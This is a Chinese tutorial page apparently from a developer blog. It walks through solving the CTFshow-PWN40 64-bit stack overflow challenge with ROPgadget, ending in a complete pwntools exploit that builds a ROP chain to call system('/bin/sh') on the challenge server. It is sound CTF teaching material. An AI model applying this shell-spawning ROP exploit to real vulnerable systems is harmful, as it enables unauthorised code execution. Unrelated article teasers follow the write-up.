news 2026/5/8 12:28:01

保姆级教程:手把手教你用ROPgadget搞定CTFshow-PWN40的64位栈溢出(附完整exp)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
保姆级教程:手把手教你用ROPgadget搞定CTFshow-PWN40的64位栈溢出(附完整exp)

从零攻克64位栈溢出:CTFshow-PWN40实战精解

第一次接触64位栈溢出时,那种既熟悉又陌生的感觉至今难忘。看着题目描述里熟悉的"栈溢出"三个字,本以为可以套用32位的经验快速解决,却在构造payload时频频碰壁。寄存器传参、ROP链构造、栈对齐问题...这些概念像一堵墙横在面前。本文将用最直白的方式,带你拆解CTFshow-PWN40这道经典题目,不仅告诉你"怎么做",更要说清"为什么这么做"。

1. 64位与32位栈溢出的关键差异

刚接触64位PWN的选手常犯的错误,就是直接套用32位的思维模式。让我们先理清两者最本质的区别——参数传递机制

在32位环境中,函数参数通过栈传递。调用system("/bin/sh")时,你只需要按顺序将返回地址、参数压栈即可。但在64位体系中,情况完全不同:

// 32位调用示例 system(返回地址, "/bin/sh"); // 64位调用实质 rdi = "/bin/sh"的地址 call system

寄存器传参规则(System V AMD64 ABI):

  • 前6个参数依次使用:RDI, RSI, RDX, RCX, R8, R9
  • 第7个及以上参数才使用栈传递
  • 浮点参数使用XMM0-XMM7寄存器

对于system("/bin/sh")这样单参数的函数,我们需要:

  1. 将"/bin/sh"字符串地址存入RDI
  2. 跳转到system函数地址

这就引出了64位ROP的核心需求——控制寄存器。我们需要在程序中找到能操作寄存器的代码片段(gadgets),典型如pop rdi; ret

关键理解:64位环境下不能直接覆盖返回地址为system并传参,必须通过gadget桥接参数传递

2. 逆向分析:定位关键要素

使用IDA Pro 64位版本打开题目提供的二进制文件,我们需要确认四个关键信息:

  1. 溢出点位置:通过分析栈帧结构,确定覆盖返回地址所需的填充长度
  2. system地址:程序中system函数的实际内存地址
  3. "/bin/sh"字符串地址:程序中存在的可用于获取shell的字符串
  4. 可用gadgets:特别是控制RDI寄存器的关键片段

以CTFshow-PWN40为例,通过逆向分析我们可以得到:

关键要素地址值获取方法
溢出偏移量0xA+8IDA栈帧分析
system函数0x400520IDA函数列表/plt表
"/bin/sh"字符串0x400808IDA字符串搜索
pop rdi; ret0x4007e3ROPgadget工具扫描
ret指令0x4004feROPgadget工具扫描

为什么需要ret gadget?64位Linux下调用函数时,要求栈指针rsp必须16字节对齐。某些情况下,额外插入一个ret指令可以调整栈对齐状态,避免因对齐问题导致的段错误。

3. ROP链构造实战

理解了原理后,让我们一步步构建完整的ROP链。ROP(Return-Oriented Programming)的核心思想是利用程序中现有的代码片段,通过精心安排返回地址,实现任意代码执行。

3.1 使用ROPgadget寻找关键片段

安装并运行ROPgadget工具:

pip install ropgadget ROPgadget --binary ./pwn --only "pop|ret"

筛选出控制rdi的gadget:

ROPgadget --binary ./pwn --only "pop|ret" | grep rdi

输出示例:

0x4007e3 : pop rdi ; ret

3.2 payload结构解析

完整的payload由多个部分组成,每个部分都有其特定作用:

[填充数据][pop rdi][/bin/sh地址][ret][system地址]

用Python pwntools表示:

from pwn import * payload = flat([ b'A'*(0xA+8), # 填充至返回地址 p64(0x4007e3), # pop rdi; ret p64(0x400808), # "/bin/sh"地址 -> 存入rdi p64(0x4004fe), # ret (对齐调整) p64(0x400520) # system地址 ])

执行流程分解

  1. 溢出覆盖返回地址,跳转到pop rdi; ret
  2. 执行pop rdi:将栈顶的0x400808("/bin/sh")弹出到rdi
  3. 执行ret:跳转到栈中下个地址0x4004fe(ret)
  4. 执行ret:再次跳转到0x400520(system)
  5. system函数读取rdi中的"/bin/sh",执行shell

3.3 常见问题排查

栈对齐问题: 如果直接去掉ret gadget,可能会遇到段错误。这是因为某些系统要求call指令执行时rsp必须16字节对齐。通过插入额外的ret指令可以微调栈指针位置。

gadget不可用: 如果找不到pop rdi; ret,可以尝试:

  • 查找其他控制rdi的方式(如mov rdi, rsp; ret
  • 使用通用gadget(__libc_csu_init中的通用gadget)

字符串缺失: 当二进制中没有现成的"/bin/sh"时,你需要:

  1. 找到可写内存区域
  2. 构造ROP链调用read/gets等函数写入字符串
  3. 最后跳转执行system

4. 完整Exploit代码与调试技巧

结合上述分析,完整的Python exploit代码如下:

#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') # context.log_level = 'debug' # 本地调试时使用 # p = process('./pwn') # gdb.attach(p, 'b *0x400520') # 远程连接 p = remote('pwn.challenge.ctf.show', 28286) # 构造payload payload = flat([ b'A'*(0xA+8), 0x4007e3, # pop rdi; ret 0x400808, # "/bin/sh" 0x4004fe, # ret (对齐) 0x400520 # system ]) p.sendline(payload) p.interactive()

调试技巧

  1. 使用context(log_level='debug')查看详细通信数据
  2. 本地测试时结合gdb调试:
    gdb.attach(p, ''' b *0x400520 c ''')
  3. 检查核心寄存器状态:
    x/10gx $rsp info registers

遇到问题的检查清单

  • [ ] 偏移量计算是否正确?
  • [ ] 所有地址是否考虑了ASLR/PIE?
  • [ ] payload发送后程序是否崩溃?
  • [ ] 是否所有gadget地址都正确?
  • [ ] 栈对齐是否满足要求?

5. 扩展知识:更复杂的ROP链构造

掌握了基础ROP后,你可以进一步挑战更复杂的情况:

无现成system和/bin/sh

  1. 泄露libc地址(通过puts/got表)
  2. 计算system和"/bin/sh"的实际地址
  3. 构造两段式ROP链

使用通用gadget: 当简单gadget不可用时,可以利用__libc_csu_init中的通用gadget控制多个寄存器:

# 典型x64通用gadget结构 pop_rbx_rbp_r12_r13_r14_r15 = 0x40089a mov_rdx_rsi_edi_call_r12 = 0x400880

栈迁移技术: 当溢出空间不足时,可以通过迁移栈到堆区域(如.bss段)来获得更大空间:

pop_rax = 0x4008e0 mov_rsp_rax = 0x4008dd

64位PWN的世界远比本文介绍的丰富,但掌握了寄存器传参和基础ROP这两个核心概念,你就已经拿到了打开这扇大门的钥匙。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/8 12:27:19

通过用量看板分析不同开发阶段的大模型API消耗模式

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 通过用量看板分析不同开发阶段的大模型API消耗模式 在软件开发项目中,大模型API的调用并非一成不变,其消耗…

作者头像 李华
网站建设 2026/5/8 12:27:17

京东抢购助手完整指南:三步实现自动化抢单,告别手动烦恼

京东抢购助手完整指南:三步实现自动化抢单,告别手动烦恼 【免费下载链接】jd-assistant 京东抢购助手:包含登录,查询商品库存/价格,添加/清空购物车,抢购商品(下单),查询订单等功能 项目地址:…

作者头像 李华
网站建设 2026/5/8 12:27:14

碳化硅器件:宽禁带半导体如何重塑功率电子设计

1. 从碳化硅到半导体新纪元:一场静默的性能革命 如果你最近拆解过一台最新的电动汽车充电桩,或者研究过5G基站的电源模块,你大概率会看到一个熟悉又陌生的缩写:SiC。硅,作为过去半个多世纪半导体产业的绝对基石&#x…

作者头像 李华
网站建设 2026/5/8 12:26:35

SoC验证范式变革:从工具堆砌到企业级数据驱动流程

1. SoC验证的十字路口:当复杂性成为唯一驱动力如果你在芯片设计行业待过几年,尤其是做过SoC验证,你大概会和我有同样的感觉:这活儿越来越像一场与“复杂性”的永无止境的战争。表面上看,验证流程在稳步发展&#xff0c…

作者头像 李华
网站建设 2026/5/8 12:25:09

Unity Mod Manager完全指南:3步轻松管理Unity游戏模组

Unity Mod Manager完全指南:3步轻松管理Unity游戏模组 【免费下载链接】unity-mod-manager UnityModManager 项目地址: https://gitcode.com/gh_mirrors/un/unity-mod-manager 你是否厌倦了复杂的模组安装过程?Unity Mod Manager正是你需要的解决…

作者头像 李华